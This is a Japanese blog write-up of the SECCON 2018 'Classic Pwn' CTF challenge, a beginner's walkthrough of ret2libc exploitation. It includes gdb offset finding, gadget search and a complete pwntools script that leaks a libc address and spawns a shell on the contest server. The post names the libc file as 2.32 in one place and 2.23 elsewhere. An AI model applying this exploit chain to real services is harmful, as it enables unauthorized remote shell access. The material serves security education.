Classic Pwn (SECCON 2018 Online CTF)

SECCON 2018 Online CTFのClassic Pwnについて,本番中は解けなかったのですが終了直後に解けたので解き方をまとめておこうと思います.
個人的にはセキュリティコンテストチャレンジブックの内容を補完する,初心者向け良問だと思うのでPwn初心者の方はとりあえず解いてみるといいと思います.

問題

Host: classic.pwn.seccon.jp
Port: 17354

file: classic, libc-2.32.so

調査

まずは実行ファイルの基本情報を調べる.

$ file classic
classic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

$ checksec classic
[*] '/home/classic/classic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ ldd classic
    linux-vdso.so.1 (0x00007ffeda6d1000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f30ada4c000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f30adc4d000)
$ ldd classic
    linux-vdso.so.1 (0x00007fff68f73000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5663744000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5663945000)

classicは64bitの実行ファイルでスタックが保護されていない.また2回のlddの結果が異なっているのでASLRが有効になっていることが分かる.

次に脆弱性を探す.

$ ./classic 
Classic Pwnable Challenge
Local Buffer >> AAAA
Have a nice pwn!!
$ python -c "print 'A'*100" | ./classic
Classic Pwnable Challenge
Local Buffer >> Have a nice pwn!!
Segmentation fault

どうやらバッファオーバーフローが可能らしい.

バッファからスタックまでの長さを調べる.

$ gdb -q classic
Reading symbols from classic...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
(...)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe048 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
(...)
gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

スタックまでの文字数は72文字である.

最後に攻撃に使えそうな関数を探す.

$ objdump -d -M intel -j .plt --no classic

classic:     ファイル形式 elf64-x86-64


セクション .plt の逆アセンブル:

0000000000400510 <.plt>:
  400510:   push   QWORD PTR [rip+0x200af2]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400516:   jmp    QWORD PTR [rip+0x200af4]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40051c:   nop    DWORD PTR [rax+0x0]

0000000000400520 <puts@plt>:
  400520:   jmp    QWORD PTR [rip+0x200af2]        # 601018 <puts@GLIBC_2.2.5>
  400526:   push   0x0
  40052b:   jmp    400510 <.plt>

0000000000400530 <setbuf@plt>:
  400530:   jmp    QWORD PTR [rip+0x200aea]        # 601020 <setbuf@GLIBC_2.2.5>
  400536:   push   0x1
  40053b:   jmp    400510 <.plt>

0000000000400540 <printf@plt>:
  400540:   jmp    QWORD PTR [rip+0x200ae2]        # 601028 <printf@GLIBC_2.2.5>
  400546:   push   0x2
  40054b:   jmp    400510 <.plt>

0000000000400550 <__libc_start_main@plt>:
  400550:   jmp    QWORD PTR [rip+0x200ada]        # 601030 <__libc_start_main@GLIBC_2.2.5>
  400556:   push   0x3
  40055b:   jmp    400510 <.plt>

0000000000400560 <gets@plt>:
  400560:   jmp    QWORD PTR [rip+0x200ad2]        # 601038 <gets@GLIBC_2.2.5>
  400566:   push   0x4
  40056b:   jmp    400510 <.plt>

ASLR回避のアドレスリークにはputsが使えそうである.

考えたこと

  • 目的はsystem("/bin/sh")を呼び出すこと
  • 攻撃方法はバッファオーバーフローによるスタックの書き換え
  • ASLRが有効なので一度GOT領域に存在する関数のアドレスをリークする必要がある
  • アドレスリークとsystem呼び出しの2回標準入力が必要になる

よって攻撃の流れは以下のようになる.

  • バッファオーバーフロー(一回目)
    1. puts(__libc_start_main)を呼び出しアドレスリーク
    2. main()の呼び出し
  • libcのベースアドレスを計算
  • バッファオーバーフロー(二回目)
    1. system(“/bin/sh”)の呼び出し

バッファオーバーフローで関数に引数を渡すときにpop rdi; ret;が必要なのでアドレスを調べておく.
(x64では関数の引数は第一引数からrdirsirdxrcxr8r9,…の順にセットされる.なのでスタックに積むときはpop rdi; ret;argfuncのようにする必要がある.)

$ rp -f classic -r 1 --uniq | grep pop
0x00400752: pop r15 ; ret  ;  (1 found)
0x004005e0: pop rbp ; ret  ;  (3 found)
0x00400753: pop rdi ; ret  ;  (1 found)

popt rdi; ret;0x00400753らしい.

また"/bin/sh"の位置(オフセット)も調べておく.

$ strings -tx -a libc-2.23.so | grep "/bin/sh"
 18cd57 /bin/sh

"/bin/sh"のアドレスはlibc_base+0x18cd57ということになる.

exploit

以上の情報より実際に書いたコードが以下になる.(Pwntoolsの使い方は以前の記事を参照)

#!/usr/bin/env python
from pwn import *

p = remote('classic.pwn.seccon.jp', 17354)


elf = ELF('classic', checksec=False)
elf_libc = ELF('libc-2.23.so', checksec=False)

plt_puts = elf.plt['puts']
got_libc = elf.got['__libc_start_main']
addr_main = elf.symbols['main']

addr_popret = 0x00400753

offset_binsh = 0x18cd57
offset_system = elf_libc.symbols['system']
offset_libc = elf_libc.symbols['__libc_start_main']


# first BOF
ret = p.readuntil('Local Buffer >> ')

payload1 = 'A' * 72
# puts(__libc_start_main)
payload1 += p64(addr_popret)
payload1 += p64(got_libc)
payload1 += p64(plt_puts)
# main()
payload1 += p64(addr_main)
p.sendline(payload1)

ret = p.readuntil('Have a nice pwn!!\n')
ret = p.readline().strip()
print 'leaked_address: '+ret.encode('hex')


# address calculation
addr_leak = u64(ret.ljust(8,'\0'))
base_libc = addr_leak - offset_libc
print 'libc_base:'+hex(base_libc)

addr_system = base_libc + offset_system
addr_binsh = base_libc + offset_binsh


# second BOF
ret = p.readuntil('Local Buffer >> ')

payload2 = 'A' * 72
# system("/bin/sh")
payload2 += p64(addr_popret)
payload2 += p64(addr_binsh)
payload2 += p64(addr_system)
p.sendline(payload2)

ret = p.readuntil('Have a nice pwn!!\n')

p.interactive()

これを実行することでシェルを起動することができ,フラグが得られる.

$ python classic.py 
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
leaked_address: 4077e64c627f
libc_base:0x7f624ce47000
[*] Switching to interactive mode
$ ls
classic
flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

おわりに

他の人のwriteupではOne-gadget-rceを使っているものもあったが今回はシンプルにsystem("/bin/sh")を呼び出しました(というかOne-gadget-rceとか思いつかない).
セキュリティコンテストチャレンジブックにはALSR回避自体は書いてありましたが,x64については書いていなかったのでこの問題はいい勉強になると思います.
なんでこの問題が本番中に解けなかったのかは本当に謎.

参考にしたサイト

シェアする

  • このエントリーをはてなブックマークに追加

フォローする